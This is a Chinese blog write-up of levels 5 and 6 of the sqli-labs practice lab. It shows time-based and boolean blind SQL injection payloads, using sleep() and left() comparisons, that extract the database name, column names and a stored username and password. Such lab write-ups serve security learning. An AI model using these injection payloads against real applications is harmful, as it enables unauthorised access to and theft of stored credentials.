sqli-labs-master第五关+第六关

话不多说开始吧!
http://192.168.89.131/sqli-labs-master/Less-5/
在这里插入图片描述
看到这个提示信息,一脸懵逼。我也查阅了一些资料可能是:布尔型盲注、报错型注入、时间延迟型盲注了。
到这里时我们需要了解一些sql语句、函数。可以参考这位兄弟的博客

其实有很多种方法我们慢慢道来
第一种方法:时间延迟型手工注入
时间延迟型手工注入,正确会延迟,错误没有延迟。id无所谓,又不看回显,可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察。
我们构造sql语句,带上延迟注入的函数。如果时间有明显的延迟说明有注入点和猜想成立
猜库名长:

?id=1’ and if(length(database())=n,sleep(5),1)–+
经过我们不断尝试当n=8时延迟5秒后有了变化说明,数据库长度为8.

猜库名
?id=1’ and if(left(database(),1)=‘n’,sleep(5),1)–+我们不断变化n的值当n=s时,明显延迟,数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)=‘security’。

猜表名
?id=1’ and if(left((select column_name from information_schema.columns where table_name=‘users’ limit 4,1),8)=‘password’ ,sleep(5),1)–+

首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky,接下来爆破字段的值。

猜值:
?id=1’ and if(left((select password from users order by id limit 0,1),4)=‘dumb’ ,sleep(5),1)–+

?id=1’ and if(left((select username from users order by id limit 0,1),4)=‘dumb’ ,sleep(5),1)–+

按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb

到这里时已经吐了,太繁琐,累死个人,建议用sqlmap

第二种方法:
在布尔型注入中,正确会回显,错误没有回显,以此为依据逐字爆破,注意id=1

手工注入时可使用例如left((select database()),1)<‘t’ 这样的比较二分查找方法快速爆破

猜库名
?id=1’ and left((select database()),1)=‘s’–+
在这里插入图片描述
在这里插入图片描述
可以看>'t’无回显,而<'t’有回显。

最终确定的库名为security。
用这种方法不断尝试查看有用的信息
布尔型的盲注比较烦的的就是手工注入很麻烦,必须慢慢试。

第六关
双引号字符型注入,上一题的单引号改成双引号就可以了,同样是两种方法:时间延迟型的手工盲注、报错型的手工盲注或者sqlmap。

步骤和第五题一样,不再赘述。

总结:到这里我的脑子里一团浆糊,容我在理解理解。啊啊啊

本文章为自己搭建实验环境做过的,参考过一些资料,希望对你有帮助

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值